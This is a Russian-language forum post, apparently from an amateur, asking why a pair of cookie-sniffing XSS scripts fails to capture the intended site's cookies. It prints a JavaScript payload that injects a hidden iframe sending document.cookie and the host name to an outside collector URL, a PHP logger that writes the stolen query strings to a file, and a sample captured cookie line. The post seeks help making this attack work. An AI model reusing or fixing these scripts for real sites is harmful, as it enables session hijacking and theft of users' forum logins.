Прива, требуется совет.

Нарыл где то скрипты для снифа куков.

Там говорится
[code:1:deef8e0b4d]
document.write('<ifra*me
width=1 height=1
style="position: absolute;
visibility:
hidden;"
src="'+
'http://xss.host.ru/xss.php'+
'?['+location.host+']:'+
document.cookie+'">
</ifra*me>');
[/code:1:deef8e0b4d]
это пихается в xss.js

Потом:
[code:1:deef8e0b4d]
<?
$file = fopen("cookies","a");
fputs($file,"[".date("d.m.y H:i")."]".$QUERY_STRING."\r\n");
fclose($file);
?>
[/code:1:deef8e0b4d]
это в xss.php

залил я это дело на холм (есессно, заменив строчку _http://xss.host.ru/ на свой сайт)

ну и зашел я с форума, где в куках мой логин и пасс лежат, по ссылке _http://my_site.h1.ru/xss.js
потом глянул на фтп — файл cookies создался, там печатается время, но почему то написано, что зашел я с сайта _http://my_site.h1.ru/
и вот эта строчка

[24.09.06 11:31][my_site.h1.ru]:952454ca2641323cc2978fa4fb43a586=admin;%20ap=1

*************************
соответственно вопрос — что я не так делаю?
бага в скриптах или я неправильно их юзаю?